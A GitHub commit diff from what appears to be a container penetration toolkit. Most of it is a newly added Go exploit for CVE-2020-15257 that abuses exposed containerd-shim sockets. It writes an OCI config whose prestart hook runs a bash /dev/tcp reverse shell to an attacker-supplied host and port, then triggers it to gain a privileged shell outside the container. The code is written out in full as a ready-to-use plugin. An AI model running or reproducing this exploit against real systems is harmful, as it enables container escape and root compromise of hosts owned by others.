-
Notifications
You must be signed in to change notification settings - Fork 545
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
11 changed files
with
623 additions
and
128 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,11 +1,11 @@ | ||
| package main | ||
|
|
||
| import ( | ||
| "github.com/Xyntax/CDK/pkg/lib" | ||
| _ "github.com/Xyntax/CDK/pkg/exploit" // register all scripts | ||
| _ "github.com/Xyntax/CDK/pkg/evaluate" // register all scripts | ||
| _ "github.com/Xyntax/CDK/pkg/exploit" // register all scripts | ||
| "github.com/Xyntax/CDK/pkg/lib" | ||
| ) | ||
|
|
||
| func main() { | ||
| lib.ParseDocopt() | ||
| lib.ParseCDKMain() | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,183 @@ | ||
| package exploit | ||
|
|
||
| import ( | ||
| "context" | ||
| "errors" | ||
| "github.com/Xyntax/CDK/pkg/lib" | ||
| "github.com/Xyntax/CDK/pkg/util" | ||
| shimapi "github.com/containerd/containerd/runtime/v1/shim/v1" | ||
| "github.com/containerd/ttrpc" | ||
| "io/ioutil" | ||
| "log" | ||
| "net" | ||
| "regexp" | ||
| "strings" | ||
| ) | ||
|
|
||
| var configJson = ` | ||
| { | ||
| "ociVersion": "1.0.1-dev", | ||
| "process": { | ||
| "terminal": true, | ||
| "user": { | ||
| "uid": 0, | ||
| "gid": 0 | ||
| }, | ||
| "args": [ | ||
| "/bin/bash" | ||
| ], | ||
| "env": [ | ||
| "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", | ||
| "HOSTNAME=b6cee9b57f3b", | ||
| "TERM=xterm" | ||
| ], | ||
| "cwd": "/" | ||
| }, | ||
| "root": { | ||
| "path": "/tmp" | ||
| }, | ||
| "hostname": "b6cee9b57f3b", | ||
| "hooks": { | ||
| "prestart": [ | ||
| { | ||
| "path": "/bin/bash", | ||
| "args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"], | ||
| "env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"] | ||
| } | ||
| ] | ||
| }, | ||
| "linux": { | ||
| "resources": { | ||
| "devices": [ | ||
| { | ||
| "allow": false, | ||
| "access": "rwm" | ||
| } | ||
| ], | ||
| "memory": { | ||
| "disableOOMKiller": false | ||
| }, | ||
| "cpu": { | ||
| "shares": 0 | ||
| }, | ||
| "blockIO": { | ||
| "weight": 0 | ||
| } | ||
| }, | ||
| "namespaces": [ | ||
| { | ||
| "type": "mount" | ||
| }, | ||
| { | ||
| "type": "network" | ||
| }, | ||
| { | ||
| "type": "uts" | ||
| }, | ||
| { | ||
| "type": "ipc" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| ` | ||
|
|
||
| func exp(sock,rhost,rport string) bool { | ||
| sock = strings.Replace(sock, "@", "", -1) | ||
| conn, err := net.Dial("unix", "\x00"+sock) | ||
| if err != nil { | ||
| log.Println(err) | ||
| return false | ||
| } | ||
|
|
||
| client := ttrpc.NewClient(conn) | ||
| shimClient := shimapi.NewShimClient(client) | ||
| ctx := context.Background() | ||
|
|
||
|
|
||
| // config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json | ||
| // rootfs path /var/lib/docker/overlay2/<id>/merged | ||
| bundlePath := "/tmp/config.json" | ||
| configJson = strings.Replace(configJson,"$RHOST$",rhost,-1) | ||
| configJson = strings.Replace(configJson,"$RPORT$",rport,-1) | ||
|
|
||
| err = ioutil.WriteFile(bundlePath, []byte(configJson), 0666) | ||
| if err != nil { | ||
| log.Println("failed to write file.", err) | ||
| return false | ||
| } | ||
|
|
||
| var M = shimapi.CreateTaskRequest{ | ||
| ID: util.RandString(10), // needs to be different in each exploit | ||
| Bundle: "/tmp", | ||
| Terminal: true, | ||
| Stdin: "/dev/null", | ||
| Stdout: "/dev/null", | ||
| Stderr: "/dev/null", | ||
| } | ||
|
|
||
| info, err := shimClient.Create(ctx, &M) | ||
| if err != nil { | ||
| log.Println("rpc error:", err) | ||
| return false | ||
| } | ||
| log.Println("shim pid:", info.Pid) | ||
| return true | ||
| } | ||
|
|
||
| func getShimSockets() ([][]byte, error) { | ||
| re, err := regexp.Compile("@/containerd-shim/.*\\.sock") | ||
| if err != nil { | ||
| return nil, err | ||
| } | ||
| data, err := ioutil.ReadFile("/proc/net/unix") | ||
| matches := re.FindAll(data, -1) | ||
| if matches == nil { | ||
| return nil, errors.New("Cannot find vulnerable socket") | ||
| } | ||
| return matches, nil | ||
| } | ||
|
|
||
| func mainContainerdPwn(rhost string,rport string) { | ||
| matchset := make(map[string]bool) | ||
| socks, err := getShimSockets() | ||
| if err != nil { | ||
| log.Fatalln(err) | ||
| } | ||
| for _, b := range socks { | ||
| sockname := string(b) | ||
| if _, ok := matchset[sockname]; ok { | ||
| continue | ||
| } | ||
| log.Println("try socket:", sockname) | ||
| matchset[sockname] = true | ||
| if exp(sockname,rhost,rport) { | ||
| break | ||
| } | ||
| } | ||
| return | ||
| } | ||
|
|
||
| // plugin interface | ||
| type containerdShimPwnS struct{} | ||
|
|
||
| func (p containerdShimPwnS) Desc() string { | ||
| return "pwn CVE-2020-15257,start a privileged reverse shell to remote host. usage: ./cdk shim-pwn <RHOST> <RPORT>" | ||
| } | ||
| func (p containerdShimPwnS) Run() bool { | ||
| args := lib.Args["<args>"].([]string) | ||
| if len(args) != 2 { | ||
| log.Println("invalid input args.") | ||
| log.Fatal(p.Desc()) | ||
| } | ||
| rhost := args[0] | ||
| rport := args[1] | ||
| log.Printf("tring to spawn shell to %s:%s\n",rhost,rport) | ||
| mainContainerdPwn(rhost,rport) | ||
| return true | ||
| } | ||
|
|
||
| func init() { | ||
| plugin := containerdShimPwnS{} | ||
| lib.Register("shim-pwn", plugin) | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.